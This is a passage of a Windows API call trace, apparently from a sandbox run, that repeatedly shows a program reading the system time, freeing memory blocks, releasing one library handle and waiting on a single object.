lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x457c80c4, dwHighDateTime=0x1d9eb0c)) [0231.060] free (_Block=0x20abc281a20) [0231.061] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.061] free (_Block=0x20abc284e70) [0231.063] free (_Block=0x20abc2ab4a0) [0231.063] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x457eea5f, dwHighDateTime=0x1d9eb0c)) [0231.074] free (_Block=0x20abc282000) [0231.074] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.075] free (_Block=0x20abc284e70) [0231.076] free (_Block=0x20abc2ac0d0) [0231.077] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45886e4a, dwHighDateTime=0x1d9eb0c)) [0231.133] free (_Block=0x20abc281c00) [0231.133] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.134] free (_Block=0x20abc284e70) [0231.135] free (_Block=0x20abc2ab8b0) [0231.135] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45886e4a, dwHighDateTime=0x1d9eb0c)) [0231.145] free (_Block=0x20abc281f20) [0231.146] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.146] free (_Block=0x20abc284e70) [0231.147] free (_Block=0x20abc27cb20) [0231.147] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x458ad0d4, dwHighDateTime=0x1d9eb0c)) [0231.156] free (_Block=0x20abc281ac0) [0231.156] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.157] free (_Block=0x20abc284e70) [0231.157] free (_Block=0x20abc27cb20) [0231.158] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x458f950f, dwHighDateTime=0x1d9eb0c)) [0231.180] free (_Block=0x20abc281e60) [0231.180] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.180] free (_Block=0x20abc284e70) [0231.181] free (_Block=0x20abc27cf80) [0231.181] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x459920a7, dwHighDateTime=0x1d9eb0c)) [0231.240] free (_Block=0x20abc281c60) [0231.241] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.241] free (_Block=0x20abc284e70) [0231.243] free (_Block=0x20abc27cb20) [0231.243] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x459920a7, dwHighDateTime=0x1d9eb0c)) [0231.254] free (_Block=0x20abc281b00) [0231.255] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.255] free (_Block=0x20abc284e70) [0231.256] free (_Block=0x20abc27cb20) [0231.256] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x459b8534, dwHighDateTime=0x1d9eb0c)) [0231.263] free (_Block=0x20abc281e80) [0231.264] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.264] free (_Block=0x20abc284e70) [0231.265] free (_Block=0x20abc27cf80) [0231.265] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x459de4e9, dwHighDateTime=0x1d9eb0c)) [0231.272] free (_Block=0x20abc281f60) [0231.272] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.272] free (_Block=0x20abc284e70) [0231.273] free (_Block=0x20abc27cb20) [0231.273] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x459de4e9, dwHighDateTime=0x1d9eb0c)) [0231.284] free (_Block=0x20abc281ea0) [0231.284] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.285] free (_Block=0x20abc284e70) [0231.286] free (_Block=0x20abc27cb20) [0231.286] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45a9cede, dwHighDateTime=0x1d9eb0c)) [0231.355] free (_Block=0x20abc281a00) [0231.355] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.355] free (_Block=0x20abc284e70) [0231.356] free (_Block=0x20abc27cb20) [0231.356] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45ac315c, dwHighDateTime=0x1d9eb0c)) [0231.364] free (_Block=0x20abc2819e0) [0231.364] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.365] free (_Block=0x20abc284e70) [0231.366] free (_Block=0x20abc27cb20) [0231.366] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45ac315c, dwHighDateTime=0x1d9eb0c)) [0231.372] free (_Block=0x20abc281c20) [0231.373] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.373] free (_Block=0x20abc284e70) [0231.374] free (_Block=0x20abc27cb20) [0231.374] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45ae9842, dwHighDateTime=0x1d9eb0c)) [0231.383] free (_Block=0x20abc281b00) [0231.384] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.384] free (_Block=0x20abc284e70) [0231.385] free (_Block=0x20abc27cf80) [0231.385] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45b81e80, dwHighDateTime=0x1d9eb0c)) [0231.443] free (_Block=0x20abc281a80) [0231.443] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.444] free (_Block=0x20abc284e70) [0231.444] free (_Block=0x20abc27cf80) [0231.445] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45b81e80, dwHighDateTime=0x1d9eb0c)) [0231.454] free (_Block=0x20abc2820a0) [0231.454] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.454] free (_Block=0x20abc284e70) [0231.455] free (_Block=0x20abc27cf80) [0231.455] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45c8ccab, dwHighDateTime=0x1d9eb0c)) [0231.554] free (_Block=0x20abc281b00) [0231.555] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.555] free (_Block=0x20abc284e70) [0231.556] free (_Block=0x20abc2aba40) [0231.556] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45c8ccab, dwHighDateTime=0x1d9eb0c)) [0231.562] free (_Block=0x20abc281b20) [0231.563] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.563] free (_Block=0x20abc284e70) [0231.564] free (_Block=0x20abc27cf80) [0231.564] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45cb3010, dwHighDateTime=0x1d9eb0c)) [0231.571] free (_Block=0x20abc281e00) [0231.571] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.571] free (_Block=0x20abc284e70) [0231.572] free (_Block=0x20abc27cf80) [0231.572] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45d25cf3, dwHighDateTime=0x1d9eb0c)) [0231.616] free (_Block=0x20abc282060) [0231.616] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.617] free (_Block=0x20abc284e70) [0231.618] free (_Block=0x20abc27cf80) [0231.618] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45d25cf3, dwHighDateTime=0x1d9eb0c)) [0231.629] free (_Block=0x20abc282020) [0231.629] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.630] free (_Block=0x20abc284e70) [0231.631] free (_Block=0x20abc27cf80) [0231.631] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45d4b8f9, dwHighDateTime=0x1d9eb0c)) [0231.637] free (_Block=0x20abc281bc0) [0231.638] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.638] free (_Block=0x20abc284e70) [0231.639] free (_Block=0x20abc27cf80) [0231.639] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45d72055, dwHighDateTime=0x1d9eb0c)) [0231.647] free (_Block=0x20abc281e60) [0231.648] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.649] free (_Block=0x20abc284e70) [0231.650] free (_Block=0x20abc27cf80) [0231.651] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45d72055, dwHighDateTime=0x1d9eb0c)) [0231.658] free (_Block=0x20abc281d40) [0231.658] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.659] free (_Block=0x20abc284e70) [0231.660] free (_Block=0x20abc27cf80) [0231.660] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45e25b88, dwHighDateTime=0x1d9eb0c)) [0231.723] free (_Block=0x20abc2819e0) [0231.723] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.724] free (_Block=0x20abc284e70) [0231.726] free (_Block=0x20abc27cf80) [0231.726] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45e30795, dwHighDateTime=0x1d9eb0c)) [0231.734] free (_Block=0x20abc281ee0) [0231.734] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.735] free (_Block=0x20abc284e70) [0231.735] free (_Block=0x20abc27cf80) [0231.735] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45e56b42, dwHighDateTime=0x1d9eb0c)) [0231.745] free (_Block=0x20abc281f20) [0231.745] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.746] free (_Block=0x20abc284e70) [0231.747] free (_Block=0x20abc27cf80) [0231.747] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45e7d0e6, dwHighDateTime=0x1d9eb0c)) [0231.760] free (_Block=0x20abc281d40) [0231.760] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.760] free (_Block=0x20abc284e70) [0231.761] free (_Block=0x20abc27cf80) [0231.761] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45f156c5, dwHighDateTime=0x1d9eb0c)) [0231.818] free (_Block=0x20abc281a80) [0231.818] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.819] free (_Block=0x20abc284e70) [0231.819] free (_Block=0x20abc27cf80) [0231.819] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45f156c5, dwHighDateTime=0x1d9eb0c)) [0231.827] free (_Block=0x20abc281c60) [0231.827] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.828] free (_Block=0x20abc284e70) [0231.828] free (_Block=0x20abc27cf80) [0231.828] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45f3bbc0, dwHighDateTime=0x1d9eb0c)) [0231.835] free (_Block=0x20abc281b80) [0231.835] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.836] free (_Block=0x20abc284e70) [0231.836] free (_Block=0x20abc27cf80) [0231.837] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45f3bbc0, dwHighDateTime=0x1d9eb0c)) [0231.847] free (_Block=0x20abc2820e0) [0231.847] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.848] free (_Block=0x20abc284e70) [0231.849] free (_Block=0x20abc2ab810) [0231.849] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45f62d87, dwHighDateTime=0x1d9eb0c)) [0231.855] free (_Block=0x20abc281f60) [0231.855] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.856] free (_Block=0x20abc284e70) [0231.857] free (_Block=0x20abc2ab5e0) [0231.857] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x460209a2, dwHighDateTime=0x1d9eb0c)) [0231.934] free (_Block=0x20abc281e60) [0231.934] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.935] free (_Block=0x20abc284e70) [0231.936] free (_Block=0x20abc2ac030) [0231.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x460468e3, dwHighDateTime=0x1d9eb0c)) [0231.943] free (_Block=0x20abc281b00) [0231.943] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.944] free (_Block=0x20abc284e70) [0231.944] free (_Block=0x20abc2ab7c0) [0231.944] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x460468e3, dwHighDateTime=0x1d9eb0c)) [0231.953] free (_Block=0x20abc281c00) [0231.953] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.953] free (_Block=0x20abc284e70) [0231.954] free (_Block=0x20abc27cb20) [0231.954] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x460b9154, dwHighDateTime=0x1d9eb0c)) [0231.989] free (_Block=0x20abc281d20) [0231.989] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.990] free (_Block=0x20abc284e70) [0231.990] free (_Block=0x20abc27cf80) [0231.991] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x460b9154, dwHighDateTime=0x1d9eb0c)) [0232.000] free (_Block=0x20abc281f60) [0232.000] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.001] free (_Block=0x20abc284e70) [0232.002] free (_Block=0x20abc27cf80) [0232.002] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4619de15, dwHighDateTime=0x1d9eb0c)) [0232.090] free (_Block=0x20abc281ea0) [0232.090] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.091] free (_Block=0x20abc284e70) [0232.092] free (_Block=0x20abc27cb20) [0232.092] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x461c4129, dwHighDateTime=0x1d9eb0c)) [0232.099] free (_Block=0x20abc2820e0) [0232.099] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.100] free (_Block=0x20abc284e70) [0232.101] free (_Block=0x20abc27cb20) [0232.102] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x461c4129, dwHighDateTime=0x1d9eb0c)) [0232.109] free (_Block=0x20abc281d60) [0232.109] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.110] free (_Block=0x20abc284e70) [0232.111] free (_Block=0x20abc27cb20) [0232.111] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x461ea523, dwHighDateTime=0x1d9eb0c)) [0232.119] free (_Block=0x20abc281b60) [0232.119] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.120] free (_Block=0x20abc284e70) [0232.121] free (_Block=0x20abc27cf80) [0232.121] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x462a8e61, dwHighDateTime=0x1d9eb0c)) [0232.197] free (_Block=0x20abc281960) [0232.197] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.198] free (_Block=0x20abc284e70) [0232.198] free (_Block=0x20abc27cb20) [0232.199] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x462a8e61, dwHighDateTime=0x1d9eb0c)) [0232.205] free (_Block=0x20abc281c80) [0232.205] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.207] free (_Block=0x20abc284e70) [0232.208] free (_Block=0x20abc27cb20) [0232.208] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x462cf36d, dwHighDateTime=0x1d9eb0c)) [0232.215] free (_Block=0x20abc282000) [0232.216] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.216] free (_Block=0x20abc284e70) [0232.217] free (_Block=0x20abc27cf80) [0232.217] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x462f5227, dwHighDateTime=0x1d9eb0c)) [0232.223] free (_Block=0x20abc281c20) [0232.224] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.224] free (_Block=0x20abc284e70) [0232.225] free (_Block=0x20abc27cb20) [0232.226] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x462f5227, dwHighDateTime=0x1d9eb0c)) [0232.233] free (_Block=0x20abc282080) [0232.233] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.234] free (_Block=0x20abc284e70) [0232.234] free (_Block=0x20abc27cb20) [0232.234] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4638dc44, dwHighDateTime=0x1d9eb0c)) [0232.290] free (_Block=0x20abc281a80) [0232.290] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.291] free (_Block=0x20abc284e70) [0232.292] free (_Block=0x20abc27cf80) [0232.292] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x463b4019, dwHighDateTime=0x1d9eb0c)) [0232.308] free (_Block=0x20abc281e00) [0232.308] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.309] free (_Block=0x20abc284e70) [0232.309] free (_Block=0x20abc27cf80) [0232.309] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46472974, dwHighDateTime=0x1d9eb0c)) [0232.381] free (_Block=0x20abc281e40) [0232.382] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.382] free (_Block=0x20abc284e70) [0232.383] free (_Block=0x20abc27cf80) [0232.383] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46472974, dwHighDateTime=0x1d9eb0c)) [0232.389] free (_Block=0x20abc2820c0) [0232.389] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.390] free (_Block=0x20abc284e70) [0232.391] free (_Block=0x20abc27cf80) [0232.391] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46498d17, dwHighDateTime=0x1d9eb0c)) [0232.399] free (_Block=0x20abc2819e0) [0232.399] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.399] free (_Block=0x20abc284e70) [0232.400] free (_Block=0x20abc27cb20) [0232.400] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46498d17, dwHighDateTime=0x1d9eb0c)) [0232.407] free (_Block=0x20abc281ba0) [0232.407] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.408] free (_Block=0x20abc284e70) [0232.409] free (_Block=0x20abc27cb20) [0232.409] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4655783e, dwHighDateTime=0x1d9eb0c)) [0232.480] free (_Block=0x20abc281960) [0232.480] 